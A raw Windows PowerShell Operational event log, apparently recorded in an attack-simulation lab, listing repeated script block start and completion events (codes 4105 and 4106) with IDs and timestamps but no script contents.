RecordNumber=2022796
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:51:09 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2022795
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:51:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2022814
Keywords=None
Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:51:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2022813
Keywords=None
Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:51:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2022812
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:51:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2022811
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:51:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2022810
Keywords=None
Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:51:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2022809
Keywords=None
Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:51:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2022808
Keywords=None
Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:51:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2022807
Keywords=None
Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:51:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2022806
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:51:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2022805
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:51:19 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2022824
Keywords=None
Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:51:19 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2022823
Keywords=None
Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:51:19 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2022822
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:51:19 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2022821
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:51:19 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2022820
Keywords=None
Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:51:19 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2022819
Keywords=None
Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:51:19 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2022818
Keywords=None
Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:51:19 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2022817
Keywords=None
Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:51:19 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2022816
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:51:19 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2022815
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:51:25 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2022834
Keywords=None
Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:51:25 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2022833
Keywords=None
Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:51:25 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2022832
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:51:25 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2022831
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:51:25 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2022830
Keywords=None
Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:51:25 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2022829
Keywords=None
Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:51:25 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2022828
Keywords=None
Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:51:25 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2022827
Keywords=None
Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:51:25 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2022826
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:51:25 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2022825
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:51:29 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2022844
Keywords=None
Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:51:29 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2022843
Keywords=None
Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:51:29 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2022842
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:51:29 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2022841
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:51:29 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2022840
Keywords=None
Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:51:29 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2022839
Keywords=None
Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:51:29 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2022838
Keywords=None
Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:51:29 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2022837
Keywords=None
Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:51:29 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2022836
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:51:29 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2022835
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:51:33 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2022854
Keywords=None
Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:51:33 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2022853
Keywords=None
Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:51:33 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2022852
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:51:33 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2022851
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:51:33 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2022850
Keywords=None
Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:51:33 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2022849
Keywords=None
Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:51:33 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2022848
Keywords=None
Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:51:33 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2022847
Keywords=None
Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:51:33 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2022846
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:51:33 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2022845
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:51:38 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2022864
Keywords=None
Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:51:38 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2022863
Keywords=None
Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:51:38 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
